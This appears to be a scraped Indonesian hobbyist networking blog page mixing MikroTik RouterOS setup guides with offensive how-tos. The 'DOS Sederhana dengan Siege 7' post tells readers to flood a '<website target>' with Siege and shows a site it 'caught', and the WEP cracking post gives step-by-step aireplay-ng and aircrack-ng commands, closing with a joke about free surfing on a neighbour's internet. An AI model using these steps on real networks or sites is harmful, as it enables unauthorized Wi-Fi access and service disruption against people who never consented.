[closer@MikroTik] > interface set 0 name=wan
</pre>
Mengganti nama interface ether2.
<pre class="brush: bash">
[closer@MikroTik] > interface set 1 name=lan
</pre>
Memberikan alamat IP pada interface wan dan lan.
<pre class="brush: bash">
[closer@MikroTik] > ip address add interface=wan address=192.168.2.2 netmask=255.255.255.0
[admin@MikroTik] ip address add interface=lan address=192.168.3.1 netmask=255.255.255.0
</pre>
Melihat konfigurasi alamat IP
<pre class="brush: bash">
[closer@MikroTik] > ip address print
</pre>
Memberikan default gateway yang terhubung internet
<pre class="brush: bash">
[closer @MikroTik] > ip route add gateway=192.168.2.1
</pre>
Melihat konfigurasi gateway
<pre class="brush: bash">
[closer@MikroTik] > ip route print
</pre>
Menentukan DNS pada gateway.
<pre class="brush: bash">
[closer@MikroTik] > ip dns set primary-dns=8.8.8.8 secondary-dns=8.8.4.4 allow-remote-requests=yes
</pre>
Melihat DNS yang sudah diset
<pre class="brush: bash">
[closer@MikroTik] > ip dns print
</pre>
Mengaktifkan NAT (Network Address Translation) pada gateway.
<pre class="brush: bash">
[closer@MikroTik] > ip firewall nat add chain=srcnat out-interface=lan action=masquerade
</pre>
Melihat tabel NAT
<pre class="brush: bash">
[closer@MikroTik] > ip firewall nat print
</pre>
Selamat mencoba :D

Membuat user baru [admin@Mikrotik] > user add name=closer password=belajarmikrotik Melihat kondisi interface. [closer@Mikrotik] > ...

DOS Sederhana dengan Siege 7

12:33 PM

assalamu'alaikum wr.wb.
 
Pada pembahasan kali ini penulis akan mengulas sedikit tentang DOS dengan siege 7 
untuk pengertian dan maksud dari siege 7 searching di paman <a href="http://www.google.com">google</a> masbro :D 
yang pengen eksperimen bisa liat tutorial dibawah 
<pre class="brush: bash">
Download <a href="http://lovebyt.es/siege7">siege 7</a>
</pre>
Install paket yang sudah didownload tadi
<pre class="brush: bash">
sudo dpkg -i siege_2.70-1_i386.deb
</pre>
konfigurasi dulu siege7
<pre class="brush: bash">
~# vi /usr/bin/siege.conf
</pre>
cara penggunaan
<pre class="brush: bash">
~# siege -i <website target>
</pre>
berikut contoh website yang terjaring :D
 <div class="crseven">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixciLu0PDWtYZULgjhO1c1QGDvOEI9KDssvFapAs9BT9RU5JHyni8WlFpjdN6lipkUyWfMAI4iQnIcUYlR2hcKkHiY6H96p3zRnRpU-rEA7SOz28ktYNtiYxcGRQ6MllitJQoHxOP3LfI/s1600/QmeSX.jpg" imageanchor="1" style=""><img border="0" height="302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixciLu0PDWtYZULgjhO1c1QGDvOEI9KDssvFapAs9BT9RU5JHyni8WlFpjdN6lipkUyWfMAI4iQnIcUYlR2hcKkHiY6H96p3zRnRpU-rEA7SOz28ktYNtiYxcGRQ6MllitJQoHxOP3LfI/s1600/QmeSX.jpg" width="423" /></a>
</div>

assalamu'alaikum wr.wb. Pada pembahasan kali ini penulis akan mengulas sedikit tentang DOS dengan siege 7 untuk pengertian dan maksud ...

Cracking WEP Paket Injection

5:55 PM

apaan sih WEP Cracking dengan Paket Injection itu dan maksudnya untuk apa :bingungs
 
disini saya tidak menjelaskan secara langsung, untuk lebih jelasnya langsung aja searching di paman google masbro :D
 
kalo uda nemu dan ngerti maksudnya langsung aja liat implementasi berikut masbro :ngacir:
 
untuk melakukan paket injection diperlukan alat aircrack-ng, langsung aja masbro menuju link mpu nya <a href="http://www.aircrack-ng.org/" target="blank">aircrack-ng</a> download dan install, pada link tersebut udah ada dokumentasinya jadi tinggal ikutin aja step by stepnya.
 
pada pejelasan ini akan diulas sedikit cara penggunaanya, berikut implementasinya:
 
 
mengaktifkan mode monitor
<pre class="brush: bash">
~# sudo ifconfig wlan0 down
~# sudo ifconfig mon0 up
</pre>
kalo udah aktif buka terminal baru cek injeksi
<pre class="brush: bash">
~# aireplay-ng -6 -e ESSID -a a1:12:a7:bc:10:14 mon0
</pre>
crseven# airodump-ng --bssid a1:12:a7:bc:10:14 -w ESSID mon0
autentifikasi atau validasi pada akses point
<pre class="brush: bash">
~# aireplay-ng -1 0 -e ESSID -a a1:12:a7:bc:10:14 -h FF:FF:FF:FF:FF:FF mon0
</pre>
selanjutnya melakukan injeksi pada paket
<pre class="brush: bash">
~# aireplay-ng -3 -b a1:12:a7:bc:10:14 -h FF:FF:FF:FF:FF:FF mon0
</pre>
sekarang saatnya melakukan cracking passwordnya
<pre class="brush: bash">
~# aircrack-ng test*.cap
</pre>
sedikit penjelasan 6 merupakan chanel pada akses point, a1:12:a7:bc:10:14 merupakan contoh dari BSSID..
 
selamat berselancar gratisan dengan internet tetangga :D

apaan sih WEP Cracking dengan Paket Injection itu dan maksudnya untuk apa :bingungs disini saya tidak menjelaskan secara langsung, untuk l...

Installasi Mikrotik Router OS

5:09 PM

MikroTik RouterOS merupakan sistem operasi yang diperuntukkan sebagai network router.
Mikrotik RouterOS adalah versi MikroTik dalam bentuk perangkat lunak yang dapat diinstal pada komputer rumahan (PC) melalui CD. Anda dapat mengunduh file iso MikroTik RouterOS dari website resmi <a href="http://www.mikrotik.com/" target="blank">www.mikrotik.com</a> Namun, file iso Mikrotik RouterOS merupakan versi trial MikroTik yang hanya dapat digunakan dalam waktu 24 jam saja. Untuk dapat menggunakannya secara full time atau dalam jangka panjang, pengguna harus membeli lisensi key dengan catatan satu lisensi hanya untuk satu harddisk. Mikrotik RouterOS hadir dalam berbagai level, tiap level memiliki kemampuannya masing-masing, mulai dari level 3, hingga level 6, secara singkat level 3 digunakan untuk router ber-interface ethernet, level 4 untuk wireless client atau serial interface, level 5 untuk wireless access point, dan level 6 tidak mempunyai limitasi apapun. Untuk aplikasi hotspot bisa digunakan level 4 (200 pengguna), level 5 (500 pengguna) dan level 6 (tidak terbatas)
 
<pre class="brush:bash">Proses Booting Mikrotik Router OS</pre>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div id="crseven">
<a href="http://i1255.photobucket.com/albums/hh621/Hertassmin/Untitled_zps5baab78a.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="177" src="http://i1255.photobucket.com/albums/hh621/Hertassmin/Untitled_zps5baab78a.png" width="320" /></a></div>
 
 
 
 
 
 
 
 
 
 
 
Setelah proses booting akan muncul menu pilihan aplikasi yang mau di install, pilih sesuai kebutuhan yang akan digunakan 
<pre class="brush:bash">Tekan a untuk memilih semua aplikasi yang ingin diinstall</pre>
<pre class="brush:bash">Tekan i untuk memulai installasi sistem</pre>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div id="crseven">
<a href="http://i1255.photobucket.com/albums/hh621/Hertassmin/2_zps17e0dfff.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="177" src="http://i1255.photobucket.com/albums/hh621/Hertassmin/2_zps17e0dfff.png" width="320" /></a></div>
 
 
 
 
 
 
 
 
 
 
 
Setelah selesai memilih aplikasi yang ingin diinstall, lalu akan tampil menu pilihan seperti dibawah ini 
<pre class="brush:bash">Do you want to keep old configuration ? [ y/n] tekan y</pre>
<pre class="brush:bash">Warning : all data on the disk will be erased</pre>
<pre class="brush:bash">Continue ? [ y/n]: tekan y   </pre>
Setelah itu proses installasi sistem dimulai, pada penginstalan MikroTik RouterOS anda tidak perlu membuat partisi hardisk, karena secara otomatis akan membuat partisi sendiri
 
 
 
<div class="separator" style="clear: both; text-align: center;">
</div>
<div id="crseven">
<a href="http://i1255.photobucket.com/albums/hh621/Hertassmin/3_zps095604d3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="177" src="http://i1255.photobucket.com/albums/hh621/Hertassmin/3_zps095604d3.png" width="320" /></a></div>
 
 
 
 
 
 
 
 
 
 
 
<pre class="brush:bash">Restart Komputer</pre>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div id="crseven">
<a href="http://i1255.photobucket.com/albums/hh621/Hertassmin/4_zps561f8524.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="177" src="http://i1255.photobucket.com/albums/hh621/Hertassmin/4_zps561f8524.png" width="320" /></a></div>
 
 
 
 
 
 
 
 
 
 
 
Setelah komputer menyala kembali akan tampil menu login MikroTik RouterOS
 
<pre class="brush:bash">Isi MikroTik Login dengan "admin" (tanpa tanda kutik), password dikosongkan</pre>
<pre class="brush:bash">Tekan enter akan tampil pesan Do you want to see the software license? [Y/n]:</pre>
<pre class="brush:bash">Pilih Y untuk melihat lisensi dan masuk ke sistem tanpa melihat lisensi</pre>
Installasi MikroTik RouterOS selesai
 
<div class="separator" style="clear: both; text-align: center;">
</div>
<div id="crseven">
<a href="http://i1255.photobucket.com/albums/hh621/Hertassmin/5_zpsde37f627.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="177" src="http://i1255.photobucket.com/albums/hh621/Hertassmin/5_zpsde37f627.png" width="320" /></a></div>

MikroTik RouterOS merupakan sistem operasi yang diperuntukkan sebagai network router. Mikrotik RouterOS adalah versi MikroTik dalam bentuk p...

learning

4/19/13

Load Balance Mikrotik dengan Konsep PCC

Konfigurasi Manual Network Ubuntu

2/16/13

Konfigurasi DHCP Server Ubuntu

2/14/13

DNS Server Bind9 di Ubuntu

1/24/13

OpenVPN di Ubuntu

1/13/13

Routing Iptables Linux

DOS Attack Dengan Ettercap

1/11/13

MITM dengan sslstrip

1/10/13

Konfigurasi DNSMasq di Slackware

1/9/13

Koneksi WPA/WPA2 PSK di Slackware

Menaikkan Power WIFI

1/7/13

Konfigurasi Dasar MikroTik RouterOS

DOS Sederhana dengan Siege 7

1/6/13

Cracking WEP Paket Injection

1/4/13

Installasi Mikrotik Router OS

social network

categories

Stats

Popular Posts